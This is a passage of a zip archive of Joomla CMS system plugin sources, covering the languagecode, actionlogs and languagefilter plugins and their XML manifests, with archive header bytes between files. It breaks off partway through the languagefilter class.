 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Language Code plugin class.
 *
 * @since  2.5
 */
class PlgSystemLanguagecode extends JPlugin
{
	/**
	 * Plugin that changes the language code used in the <html /> tag.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onAfterRender()
	{
		$app = JFactory::getApplication();

		// Use this plugin only in site application.
		if ($app->isClient('site'))
		{
			// Get the response body.
			$body = $app->getBody();

			// Get the current language code.
			$code = JFactory::getDocument()->getLanguage();

			// Get the new code.
			$new_code  = $this->params->get($code);

			// Replace the old code by the new code in the <html /> tag.
			if ($new_code)
			{
				// Replace the new code in the HTML document.
				$patterns = array(
					chr(1) . '(<html.*\s+xml:lang=")(' . $code . ')(".*>)' . chr(1) . 'i',
					chr(1) . '(<html.*\s+lang=")(' . $code . ')(".*>)' . chr(1) . 'i',
				);
				$replace = array(
					'${1}' . strtolower($new_code) . '${3}',
					'${1}' . strtolower($new_code) . '${3}'
				);
			}
			else
			{
				$patterns = array();
				$replace  = array();
			}

			// Replace codes in <link hreflang="" /> attributes.
			preg_match_all(chr(1) . '(<link.*\s+hreflang=")([0-9a-z\-]*)(".*\s+rel="alternate".*/>)' . chr(1) . 'i', $body, $matches);

			foreach ($matches[2] as $match)
			{
				$new_code = $this->params->get(strtolower($match));

				if ($new_code)
				{
					$patterns[] = chr(1) . '(<link.*\s+hreflang=")(' . $match . ')(".*\s+rel="alternate".*/>)' . chr(1) . 'i';
					$replace[] = '${1}' . $new_code . '${3}';
				}
			}

			preg_match_all(chr(1) . '(<link.*\s+rel="alternate".*\s+hreflang=")([0-9A-Za-z\-]*)(".*/>)' . chr(1) . 'i', $body, $matches);

			foreach ($matches[2] as $match)
			{
				$new_code = $this->params->get(strtolower($match));

				if ($new_code)
				{
					$patterns[] = chr(1) . '(<link.*\s+rel="alternate".*\s+hreflang=")(' . $match . ')(".*/>)' . chr(1) . 'i';
					$replace[] = '${1}' . $new_code . '${3}';
				}
			}

			// Replace codes in itemprop content
			preg_match_all(chr(1) . '(<meta.*\s+itemprop="inLanguage".*\s+content=")([0-9A-Za-z\-]*)(".*/>)' . chr(1) . 'i', $body, $matches);

			foreach ($matches[2] as $match)
			{
				$new_code = $this->params->get(strtolower($match));

				if ($new_code)
				{
					$patterns[] = chr(1) . '(<meta.*\s+itemprop="inLanguage".*\s+content=")(' . $match . ')(".*/>)' . chr(1) . 'i';
					$replace[] = '${1}' . $new_code . '${3}';
				}
			}

			$app->setBody(preg_replace($patterns, $replace, $body));
		}
	}

	/**
	 * Prepare form.
	 *
	 * @param   JForm  $form  The form to be altered.
	 * @param   mixed  $data  The associated data for the form.
	 *
	 * @return  boolean
	 *
	 * @since	2.5
	 */
	public function onContentPrepareForm(JForm $form, $data)
	{
		// Check we are manipulating the languagecode plugin.
		if ($form->getName() !== 'com_plugins.plugin' || !$form->getField('languagecodeplugin', 'params'))
		{
			return true;
		}

		// Get site languages.
		if ($languages = JLanguageHelper::getKnownLanguages(JPATH_SITE))
		{
			// Inject fields into the form.
			foreach ($languages as $tag => $language)
			{
				$form->load('
					<form>
						<fields name="params">
							<fieldset
								name="languagecode"
								label="PLG_SYSTEM_LANGUAGECODE_FIELDSET_LABEL"
								description="PLG_SYSTEM_LANGUAGECODE_FIELDSET_DESC"
							>
								<field
									name="' . strtolower($tag) . '"
									type="text"
									label="' . $tag . '"
									description="' . htmlspecialchars(JText::sprintf('PLG_SYSTEM_LANGUAGECODE_FIELD_DESC', $language['name']), ENT_COMPAT, 'UTF-8') . '"
									translate_description="false"
									translate_label="false"
									size="7"
									filter="cmd"
								/>
							</fieldset>
						</fields>
					</form>
				');
			}
		}

		return true;
	}
}
PK�(]�x�.��$system/languagecode/languagecode.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="system" method="upgrade">
	<name>plg_system_languagecode</name>
	<author>Joomla! Project</author>
	<creationDate>November 2011</creationDate>
	<copyright>(C) 2011 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_SYSTEM_LANGUAGECODE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="languagecode">languagecode.php</filename>
		<folder>language</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/en-GB.plg_system_languagecode.ini</language>
		<language tag="en-GB">language/en-GB/en-GB.plg_system_languagecode.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<field
				name="languagecodeplugin"
				type="hidden"
				default="true"
			/>
		</fields>
	</config>
</extension>
PK�(]�����'system/actionlogs/forms/information.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<form>
	<fields name="params">
		<fieldset name="information" label="PLG_SYSTEM_ACTIONLOGS_OPTIONS" addfieldpath="/administrator/components/com_actionlogs/models/fields">
			<field
				name="Information"
				type="plugininfo"
				label="PLG_SYSTEM_ACTIONLOGS_INFO_LABEL"
				description="PLG_SYSTEM_ACTIONLOGS_INFO_DESC"
			/>
		</fieldset>
	</fields>
</form>
PK�(]��<__&system/actionlogs/forms/actionlogs.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<form>
	<fieldset name="actionlogs" label="PLG_SYSTEM_ACTIONLOGS_OPTIONS" addfieldpath="/administrator/components/com_actionlogs/models/fields">
		<fields name="actionlogs">
			<field
				name="actionlogsNotify"
				type="radio"
				label="PLG_SYSTEM_ACTIONLOGS_NOTIFICATIONS"
				description="PLG_SYSTEM_ACTIONLOGS_NOTIFICATIONS_DESC"
				class="btn-group btn-group-yesno"
				default="0"
				filter="integer"
				required="true"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
			<field
				name="actionlogsExtensions"
				type="logtype"
				label="PLG_SYSTEM_ACTIONLOGS_EXTENSIONS_NOTIFICATIONS"
				description="PLG_SYSTEM_ACTIONLOGS_EXTENSIONS_NOTIFICATIONS_DESC"
				multiple="true"
				validate="options"
				showon="actionlogsNotify:1"
			/>
		</fields>
	</fieldset>
</form>
PK�(]���/�/ system/actionlogs/actionlogs.phpnu�[���<?php
/**
 * @package     Joomla.Plugins
 * @subpackage  System.actionlogs
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Cache\Cache;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\User\User;

/**
 * Joomla! Users Actions Logging Plugin.
 *
 * @since  3.9.0
 */
class PlgSystemActionLogs extends JPlugin
{
	/**
	 * Application object.
	 *
	 * @var    JApplicationCms
	 * @since  3.9.0
	 */
	protected $app;

	/**
	 * Database object.
	 *
	 * @var    JDatabaseDriver
	 * @since  3.9.0
	 */
	protected $db;

	/**
	 * Load plugin language file automatically so that it can be used inside component
	 *
	 * @var    boolean
	 * @since  3.9.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Constructor.
	 *
	 * @param   object  &$subject  The object to observe.
	 * @param   array   $config    An optional associative array of configuration settings.
	 *
	 * @since   3.9.0
	 */
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		// Import actionlog plugin group so that these plugins will be triggered for events
		PluginHelper::importPlugin('actionlog');
	}

	/**
	 * Adds additional fields to the user editing form for logs e-mail notifications
	 *
	 * @param   JForm  $form  The form to be altered.
	 * @param   mixed  $data  The associated data for the form.
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function onContentPrepareForm($form, $data)
	{
		if (!$form instanceof Form)
		{
			$this->subject->setError('JERROR_NOT_A_FORM');

			return false;
		}

		$formName = $form->getName();

		$allowedFormNames = array(
			'com_users.profile',
			'com_admin.profile',
			'com_users.user',
		);

		if (!in_array($formName, $allowedFormNames))
		{
			return true;
		}

		/**
		 * We only allow users who has Super User permission change this setting for himself or for other users
		 * who has same Super User permission
		 */

		$user = Factory::getUser();

		if (!$user->authorise('core.admin'))
		{
			return true;
		}

		// If we are on the save command, no data is passed to $data variable, we need to get it directly from request
		$jformData = $this->app->input->get('jform', array(), 'array');

		if ($jformData && !$data)
		{
			$data = $jformData;
		}

		if (is_array($data))
		{
			$data = (object) $data;
		}

		if (empty($data->id) || !User::getInstance($data->id)->authorise('core.admin'))
		{
			return true;
		}

		Form::addFormPath(__DIR__ . '/forms');

		if ((!PluginHelper::isEnabled('actionlog', 'joomla')) && (Factory::getApplication()->isClient('administrator')))
		{
			$form->loadFile('information', false);

			return true;
		}

		if (!PluginHelper::isEnabled('actionlog', 'joomla'))
		{
			return true;
		}

		$form->loadFile('actionlogs', false);
	}

	/**
	 * Runs on content preparation
	 *
	 * @param   string  $context  The context for the data
	 * @param   object  $data     An object containing the data for the form.
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function onContentPrepareData($context, $data)
	{
		if (!in_array($context, array('com_users.profile', 'com_admin.profile', 'com_users.user')))
		{
			return true;
		}

		if (is_array($data))
		{
			$data = (object) $data;
		}

		if (!User::getInstance($data->id)->authorise('core.admin'))
		{
			return true;
		}

		$query = $this->db->getQuery(true)
			->select($this->db->quoteName(array('notify', 'extensions')))
			->from($this->db->quoteName('#__action_logs_users'))
			->where($this->db->quoteName('user_id') . ' = ' . (int) $data->id);

		try
		{
			$values = $this->db->setQuery($query)->loadObject();
		}
		catch (JDatabaseExceptionExecuting $e)
		{
			return false;
		}

		if (!$values)
		{
			return true;
		}

		$data->actionlogs                       = new StdClass;
		$data->actionlogs->actionlogsNotify     = $values->notify;
		$data->actionlogs->actionlogsExtensions = $values->extensions;

		if (!HTMLHelper::isRegistered('users.actionlogsNotify'))
		{
			HTMLHelper::register('users.actionlogsNotify', array(__CLASS__, 'renderActionlogsNotify'));
		}

		if (!HTMLHelper::isRegistered('users.actionlogsExtensions'))
		{
			HTMLHelper::register('users.actionlogsExtensions', array(__CLASS__, 'renderActionlogsExtensions'));
		}

		return true;
	}

	/**
	 * Runs after the HTTP response has been sent to the client and delete log records older than certain days
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onAfterRespond()
	{
		$daysToDeleteAfter = (int) $this->params->get('logDeletePeriod', 0);

		if ($daysToDeleteAfter <= 0)
		{
			return;
		}

		// The delete frequency will be once per day
		$deleteFrequency = 3600 * 24;

		// Do we need to run? Compare the last run timestamp stored in the plugin's options with the current
		// timestamp. If the difference is greater than the cache timeout we shall not execute again.
		$now  = time();
		$last = (int) $this->params->get('lastrun', 0);

		if (abs($now - $last) < $deleteFrequency)
		{
			return;
		}

		// Update last run status
		$this->params->set('lastrun', $now);

		$db    = $this->db;
		$query = $db->getQuery(true)
			->update($db->qn('#__extensions'))
			->set($db->qn('params') . ' = ' . $db->q($this->params->toString('JSON')))
			->where($db->qn('type') . ' = ' . $db->q('plugin'))
			->where($db->qn('folder') . ' = ' . $db->q('system'))
			->where($db->qn('element') . ' = ' . $db->q('actionlogs'));

		try
		{
			// Lock the tables to prevent multiple plugin executions causing a race condition
			$db->lockTable('#__extensions');
		}
		catch (Exception $e)
		{
			// If we can't lock the tables it's too risky to continue execution
			return;
		}

		try
		{
			// Update the plugin parameters
			$result = $db->setQuery($query)->execute();

			$this->clearCacheGroups(array('com_plugins'), array(0, 1));
		}
		catch (Exception $exc)
		{
			// If we failed to execute
			$db->unlockTables();
			$result = false;
		}

		try
		{
			// Unlock the tables after writing
			$db->unlockTables();
		}
		catch (Exception $e)
		{
			// If we can't lock the tables assume we have somehow failed
			$result = false;
		}

		// Abort on failure
		if (!$result)
		{
			return;
		}

		$daysToDeleteAfter = (int) $this->params->get('logDeletePeriod', 0);
		$now = $db->quote(Factory::getDate()->toSql());

		if ($daysToDeleteAfter > 0)
		{
			$conditions = array($db->quoteName('log_date') . ' < ' . $query->dateAdd($now, -1 * $daysToDeleteAfter, ' DAY'));

			$query->clear()
				->delete($db->quoteName('#__action_logs'))->where($conditions);
			$db->setQuery($query);

			try
			{
				$db->execute();
			}
			catch (RuntimeException $e)
			{
				// Ignore it
				return;
			}
		}
	}

	/**
	 * Utility method to act on a user after it has been saved.
	 *
	 * @param   array    $user     Holds the new user data.
	 * @param   boolean  $isNew    True if a new user is stored.
	 * @param   boolean  $success  True if user was successfully stored in the database.
	 * @param   string   $msg      Message.
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterSave($user, $isNew, $success, $msg)
	{
		if (!$success)
		{
			return false;
		}

		// Clear access rights in case user groups were changed.
		$userObject = new User($user['id']);
		$userObject->clearAccessRights();
		$authorised = $userObject->authorise('core.admin');

		$query = $this->db->getQuery(true)
			->select('COUNT(*)')
			->from($this->db->quoteName('#__action_logs_users'))
			->where($this->db->quoteName('user_id') . ' = ' . (int) $user['id']);

		try
		{
			$exists = (bool) $this->db->setQuery($query)->loadResult();
		}
		catch (JDatabaseExceptionExecuting $e)
		{
			return false;
		}

		// If preferences don't exist, insert.
		if (!$exists && $authorised && isset($user['actionlogs']))
		{
			$values  = array((int) $user['id'], (int) $user['actionlogs']['actionlogsNotify']);
			$columns = array('user_id', 'notify');

			if (isset($user['actionlogs']['actionlogsExtensions']))
			{
				$values[]  = $this->db->quote(json_encode($user['actionlogs']['actionlogsExtensions']));
				$columns[] = 'extensions';
			}

			$query = $this->db->getQuery(true)
				->insert($this->db->quoteName('#__action_logs_users'))
				->columns($this->db->quoteName($columns))
				->values(implode(',', $values));
		}
		elseif ($exists && $authorised && isset($user['actionlogs']))
		{
			// Update preferences.
			$values = array($this->db->quoteName('notify') . ' = ' . (int) $user['actionlogs']['actionlogsNotify']);

			if (isset($user['actionlogs']['actionlogsExtensions']))
			{
				$values[] = $this->db->quoteName('extensions') . ' = ' . $this->db->quote(json_encode($user['actionlogs']['actionlogsExtensions']));
			}

			$query = $this->db->getQuery(true)
				->update($this->db->quoteName('#__action_logs_users'))
				->set($values)
				->where($this->db->quoteName('user_id') . ' = ' . (int) $user['id']);
		}
		elseif ($exists && !$authorised)
		{
			// Remove preferences if user is not authorised.
			$query = $this->db->getQuery(true)
				->delete($this->db->quoteName('#__action_logs_users'))
				->where($this->db->quoteName('user_id') . ' = ' . (int) $user['id']);
		}

		try
		{
			$this->db->setQuery($query)->execute();
		}
		catch (JDatabaseExceptionExecuting $e)
		{
			return false;
		}

		return true;
	}

	/**
	 * Removes user preferences
	 *
	 * Method is called after user data is deleted from the database
	 *
	 * @param   array    $user     Holds the user data
	 * @param   boolean  $success  True if user was successfully stored in the database
	 * @param   string   $msg      Message
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterDelete($user, $success, $msg)
	{
		if (!$success)
		{
			return false;
		}

		$query = $this->db->getQuery(true)
			->delete($this->db->quoteName('#__action_logs_users'))
			->where($this->db->quoteName('user_id') . ' = ' . (int) $user['id']);

		try
		{
			$this->db->setQuery($query)->execute();
		}
		catch (JDatabaseExceptionExecuting $e)
		{
			return false;
		}

		return true;
	}

	/**
	 * Clears cache groups. We use it to clear the plugins cache after we update the last run timestamp.
	 *
	 * @param   array  $clearGroups   The cache groups to clean
	 * @param   array  $cacheClients  The cache clients (site, admin) to clean
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	private function clearCacheGroups(array $clearGroups, array $cacheClients = array(0, 1))
	{
		$conf = Factory::getConfig();

		foreach ($clearGroups as $group)
		{
			foreach ($cacheClients as $clientId)
			{
				try
				{
					$options = array(
						'defaultgroup' => $group,
						'cachebase'    => $clientId ? JPATH_ADMINISTRATOR . '/cache' :
							$conf->get('cache_path', JPATH_SITE . '/cache')
					);

					$cache = Cache::getInstance('callback', $options);
					$cache->clean();
				}
				catch (Exception $e)
				{
					// Ignore it
				}
			}
		}
	}

	/**
	 * Method to render a value.
	 *
	 * @param   integer|string  $value  The value (0 or 1).
	 *
	 * @return  string  The rendered value.
	 *
	 * @since   3.9.16
	 */
	public static function renderActionlogsNotify($value)
	{
		return Text::_($value ? 'JYES' : 'JNO');
	}

	/**
	 * Method to render a list of extensions.
	 *
	 * @param   array|string  $extensions  Array of extensions or an empty string if none selected.
	 *
	 * @return  string  The rendered value.
	 *
	 * @since   3.9.16
	 */
	public static function renderActionlogsExtensions($extensions)
	{
		// No extensions selected.
		if (!$extensions)
		{
			return Text::_('JNONE');
		}

		// Load the helper.
		JLoader::register('ActionlogsHelper', JPATH_ADMINISTRATOR . '/components/com_actionlogs/helpers/actionlogs.php');

		foreach ($extensions as &$extension)
		{
			// Load extension language files and translate extension name.
			ActionlogsHelper::loadTranslationFiles($extension);
			$extension = Text::_($extension);
		}

		return implode(', ', $extensions);
	}
}
PK�(]؞��� system/actionlogs/actionlogs.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<extension version="3.9" type="plugin" group="system" method="upgrade">
	<name>PLG_SYSTEM_ACTIONLOGS</name>
	<author>Joomla! Project</author>
	<creationDate>May 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_SYSTEM_ACTIONLOGS_XML_DESCRIPTION</description>
	<files>
		<filename plugin="actionlogs">actionlogs.php</filename>
		<folder>forms</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_system_actionlogs.ini</language>
		<language tag="en-GB">en-GB.plg_system_actionlogs.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="logDeletePeriod"
					type="number"
					label="PLG_SYSTEM_ACTIONLOGS_LOG_DELETE_PERIOD"
					description="PLG_SYSTEM_ACTIONLOGS_LOG_DELETE_PERIOD_DESC"
					default="0"
					min="0"
					filter="int"
					validate="number"
				/>
				<field
					name="lastrun"
					type="hidden"
					default="0"
					filter="integer"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]�ա�b�b(system/languagefilter/languagefilter.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.languagefilter
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;

JLoader::register('MenusHelper', JPATH_ADMINISTRATOR . '/components/com_menus/helpers/menus.php');

/**
 * Joomla! Language Filter Plugin.
 *
 * @since  1.6
 */
class PlgSystemLanguageFilter extends JPlugin
{
	/**
	 * The routing mode.
	 *
	 * @var    boolean
	 * @since  2.5
	 */
	protected $mode_sef;

	/**
	 * Available languages by sef.
	 *
	 * @var    array
	 * @since  1.6
	 */
	protected $sefs;

	/**
	 * Available languages by language codes.
	 *
	 * @var    array
	 * @since  2.5
	 */
	protected $lang_codes;

	/**
	 * The current language code.
	 *
	 * @var    string
	 * @since  3.4.2
	 */
	protected $current_lang;

	/**
	 * The default language code.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $default_lang;

	/**
	 * The logged user language code.
	 *
	 * @var    string
	 * @since  3.3.1
	 */
	private $user_lang_code;

	/**
	 * Application object.
	 *
	 * @var    JApplicationCms
	 * @since  3.3
	 */
	protected $app;

	/**
	 * Constructor.
	 *
	 * @param   object  &$subject  The object to observe
	 * @param   array   $config    An optional associative array of configuration settings.
	 *
	 * @since   1.6
	 */
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		$this->app = JFactory::getApplication();

		// Setup language data.
		$this->mode_sef     = $this->app->get('sef', 0);
		$this->sefs         = JLanguageHelper::getLanguages('sef');
		$this->lang_codes   = JLanguageHelper::getLanguages('lang_code');
		$this->default_lang = JComponentHelper::getParams('com_languages')->get('site', 'en-GB');

		// If language filter plugin is executed in a site page.
		if ($this->app->isClient('site'))
		{
			$levels = JFactory::getUser()->getAuthorisedViewLevels();

			foreach ($this->sefs as $sef => $language)
			{
				// @todo: In Joomla 2.5.4 and earlier access wasn't set. Non modified Content Languages got 0 as access value
				// we also check if frontend language exists and is enabled
				if (($language->access && !in_array($language->access, $levels))
					|| (!array_key_exists($language->lang_code, JLanguageHelper::getInstalledLanguages(0))))
				{
					unset($this->lang_codes[$language->lang_code], $this->sefs[$language->sef]);
				}
			}
		}
		// If language filter plugin is executed in an admin page (ex: JRoute site).
		else
		{
			// Set current language to default site language, fallback to en-GB if there is no content language for the default site language.
			$this->current_lang = isset($this->lang_codes[$this->default_lang]) ? $this->default_lang : 'en-GB';

			foreach ($this->sefs as $sef => $language)
			{
				if (!array_key_exists($language->lang_code, JLanguageHelper::getInstalledLanguages(0)))
				{
					unset($this->lang_codes[$language->lang_code]);
					unset($this->sefs[$language->sef]);
				}
			}
		}
	}

	/**
	 * After initialise.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function onAfterInitialise()
	{
		$this->app->item_associations = $this->params->get('item_associations', 0);

		// We need to make sure we are always using the site router, even if the language plugin is executed in admin app.
		$router = JApplicationCms::getInstance('site')->getRouter('site');

		// Attach build rules for language SEF.
		$router->attachBuildRule(array($this, 'preprocessBuildRule'), JRouter::PROCESS_BEFORE);
		$router->attachBuildRule(array($this, 'buildRule'), JRouter::PROCESS_DURING);

		if ($this->mode_sef)
		{
			$router->attachBuildRule(array($this, 'postprocessSEFBuildRule'), JRouter::PROCESS_AFTER);
		}
		else
		{
			$router->attachBuildRule(array($this, 'postprocessNonSEFBuildRule'), JRouter::PROCESS_AFTER);
		}

		// Attach parse rules for language SEF.
		$router->attachParseRule(array($this, 'parseRule'), JRouter::PROCESS_DURING);
	}

	/**
	 * After route.
	 *
	 * @return  void
	 *
	 * @since   3.4
	 */
	public function onAfterRoute()
	{
		// Add custom site name.
		if ($this->app->isClient('site') && isset($this->lang_codes[$this->current_lang]) && $this->lang_codes[$this->current_lang]->sitename)
		{
			$this->app->set('sitename', $this->lang_codes[$this->current_lang]->sitename);
		}
	}

	/**
	 * Add build preprocess rule to router.
	 *
	 * @param   JRouter  &$router  JRouter object.
	 * @param   JUri     &$uri     JUri object.
	 *
	 * @return  void
	 *
	 * @since   3.4
	 */
	public function preprocessBuildRule(&$router, &$uri)
	{
		$lang = $uri->getVar('lang', $this->current_lang);
		$uri->setVar('lang', $lang);

		if (isset($this->sefs[$lang]))
		{
			$lang = $this->sefs[$lang]->lang_code;
			$uri->setVar('lang', $lang);
		}
	}

	/**
	 * Add build rule to router.
	 *
	 * @param   JRouter  &$router  JRouter object.
	 * @param   JUri     &$uri     JUri object.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function buildRule(&$router, &$uri)
	{
		$lang = $uri->getVar('lang');

		if (isset($this->lang_codes[$lang]))
		{
			$sef = $this->lang_codes[$lang]->sef;
		}
		else
		{
			$sef = $this->lang_codes[$this->current_lang]->sef;
		}

		if ($this->mode_sef
			&& (!$this->params->get('remove_default_prefix', 0)
			|| $lang !== $this->default_lang
			|| $lang !== $this->current_lang))
		{
			$uri->setPath($uri->getPath() . '/' . $sef . '/');
		}
	}

	/**
	 * postprocess build rule for SEF URLs
	 *
	 * @param   JRouter  &$router  JRouter object.
	 * @param   JUri     &$uri     JUri object.
	 *
	 * @return  void
	 *
	 * @since   3.4
	 */
	public function postprocessSEFBuildRule(&$router, &$uri)
	{
		$uri->delVar('lang');
	}

	/**
	 * postprocess build rule for non-SEF URLs
	 *
	 * @param   JRouter  &$router  JRouter object.
	 * @param   JUri     &$uri     JUri object.
	 *
	 * @return  void
	 *
	 * @since   3.4
	 */
	public function postprocessNonSEFBuildRule(&$router, &$uri)
	{
		$lang = $uri->getVar('lang');

		if (isset($this->lang_codes[$lang]))
		{
			$uri->setVar('lang', $this->lang_codes[$lang]->sef);
		}
	}

	/**
	 * Add parse rule to router.
	 *
	 * @param   JRouter  &$router  JRouter object.
	 * @param   JUri     &$uri     JUri object.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function parseRule(&$router, &$uri)
	{
		// Did we find the current and existing language yet?
		$found = false;

		// Are we in SEF mode or not?
		if ($this->mode_sef)
		{
			$path = $uri->getPath();
			$parts = explode('/', $path);

			$sef = StringHelper::strtolower($parts[0]);

			// Do we have a URL Language Code ?
			if (!isset($this->sefs[$sef]))
			{
				// Check if remove default URL language code is set
				if ($this->params->get('remove_default_prefix', 0))
				{
					if ($parts[0])
					{
						// We load a default site language page
						$lang_code = $this->default_lang;
					}
					else
					{
						// We check for an existing language cookie
						$lang_code = $this->getLanguageCookie();
					}
				}
				else
				{
					$lang_code = $this->getLanguageCookie();
				}

				// No language code. Try using browser settings or default site language
				if (!$lang_code && $this->params->get('detect_browser', 0) == 1)
				{
					$lang_code = JLanguageHelper::detectLanguage();
				}

				if (!$lang_code)
				{
					$lang_code = $this->default_lang;
				}

				if ($lang_code === $this->default_lang && $this->params->get('remove_default_prefix', 0))
				{
					$found = true;
				}
			}
			else
			{
				// We found our language
				$found = true;
				$lang_code = $this->sefs[$sef]->lang_code;

				// If we found our language, but its the default language and we don't want a prefix for that, we are on a wrong URL.
				// Or we try to change the language back to the default language. We need a redirect to the proper URL for the default language.
				if ($lang_code === $this->default_lang && $this->params->get('remove_default_prefix', 0))
				{
					// Create a cookie.
					$this->setLanguageCookie($lang_code);

					$found = false;
					array_shift($parts);
					$path = implode('/', $parts);
				}

				// We have found our language and the first part of our URL is the language prefix
				if ($found)
				{
					array_shift($parts);

					// Empty parts array when "index.php" is the only part left.
					if (count($parts) === 1 && $parts[0] === 'index.php')
					{
						$parts = array();
					}

					$uri->setPath(implode('/', $parts));
				}
			}
		}
		// We are not in SEF mode
		else
		{
			$lang_code = $this->getLanguageCookie();

			if (!$lang_code && $this->params->get('detect_browser', 1))
			{
				$lang_code = JLanguageHelper::detectLanguage();
			}

			if (!isset($this->lang_codes[$lang_code]))
			{
				$lang_code = $this->default_lang;
			}
		}

		$lang = $uri->getVar('lang', $lang_code);

		if (isset($this->sefs[$lang]))
		{
			// We found our language
			$found = true;
			$lang_code = $this->sefs[$lang]->lang_code;
		}

		// We are called via POST or the nolangfilter url parameter was set. We don't care about the language
		// and simply set the default language as our current language.
		if ($this->app->input->getMethod() === 'POST'
			|| $this->app->input->get('nolangfilter', 0) == 1
			|| count($this->app->input->post) > 0
			|| count($this->app->input->files) > 0)
		{
			$found = true;

			if (!isset($lang_code))
			{
				$lang_code = $this->getLanguageCookie();
			}

			if (!$lang_code && $this->params->get('detect_browser', 1))
			{
				$lang_code = JLanguageHelper::detectLanguage();
			}

			if (!isset($this->lang_codes[$lang_code]))
			{
				$lang_code = $this->default_lang;
			}
		}

		// We have not found the language and thus need to redirect
		if (!$found)
		{
			// Lets find the default language for this user
			if (!isset($lang_code) || !isset($this->lang_codes[$lang_code]))
			{
				$lang_code = false;

				if ($this->params->get('detect_browser', 1))
				{
					$lang_code = JLanguageHelper::detectLanguage();

					if (!isset($this->lang_codes[$lang_code]))
					{
						$lang_code = false;
					}
				}

				if (!$lang_code)
				{
					$lang_code = $this->default_lang;
				}
			}

			if ($this->mode_sef)
			{
				// Use the current language sef or the default one.
				if ($lang_code !== $this->default_lang
					|| !$this->params->get('remove_default_prefix', 0))
				{
					$path = $this->lang_codes[$lang_code]->sef . '/' . $path;
				}

				$uri->setPath($path);

				if (!$this->app->get('sef_rewrite'))
				{
					$uri->setPath('index.php/' . $uri->getPath());
				}

				$redirectUri = $uri->base() . $uri->toString(array('path', 'query', 'fragment'));
			}
			else
			{
				$uri->setVar('lang', $this->lang_codes[$lang_code]->sef);
				$redirectUri = $uri->base() . 'index.php?' . $uri->getQuery();
			}

			// Set redirect HTTP code to "302 Found".
			$redirectHttpCode = 302;

			// If selected language is the default language redirect code is "301 Moved Permanently".
			if ($lang_code === $this->default_lang)
			{
				$redirectHttpCode = 301;

				// We cannot cache this redirect in browser. 301 is cachable by default so we need to force to not cache it in browsers.
				$this->app->setHeader('Expires', 'Wed, 17 Aug 2005 00:00:00 GMT', true);
				$this->app->setHeader('Last-Modified', gmdate('D, d M Y H:i:s') . ' GMT', true);
				$this->app->setHeader('Cache-Control', 'no-store, no-cache, must-revalidate, post-check=0, pre-check=0', false);
				$this->app->setHeader('Pragma', 'no-cache');
				$this->app->sendHeaders();
			}

			// Redirect to language.
			$this->app->redirect($redirectUri, $redirectHttpCode);
		}

		// We have found our language and now need to set the cookie and the language value in our system
		$array = array('lang' => $lang_code);
		$this->current_lang = $lang_code;

		// Set the request var.
		$this->app->input->set('language', $lang_code);
		$this->app->set('language', $lang_code);
		$language = JFactory::getLanguage();

		if ($language->getTag() !== $lang_code)
		{
			$language_new = JLanguage::getInstance($lang_code, (bool) $this->app->get('debug_lang'));

			foreach ($language->getPaths() as $extension => $files)
			{
				if (strpos($extension, 'plg_system') !== false)
				{
					$extension_name = substr($extension, 11);

					$language_new->load($extension, JPATH_ADMINISTRATOR)
					|| $language_new->load($extension, JPATH_PLUGINS . '/system/' . $extension_name);

					continue;
				}

				$language_new->load($extension);
			}

			JFactory::$language = $language_new;
			$this->app->loadLanguage($language_new);
		}

		// Create a cookie.
		if ($this->getLanguageCookie() !== $lang_code)
		{
			$this->setLanguageCookie($lang_code);
		}

		return $array;
	}

	/**
	 * Reports the privacy related capabilities for this plugin to site administrators.
	 *
	 * @return  array
	 *
	 * @since   3.9.0
	 */
	public function onPrivacyCollectAdminCapabilities()
	{
		$this->loadLanguage();

		return array(
			JText::_('PLG_SYSTEM_LANGUAGEFILTER') => array(
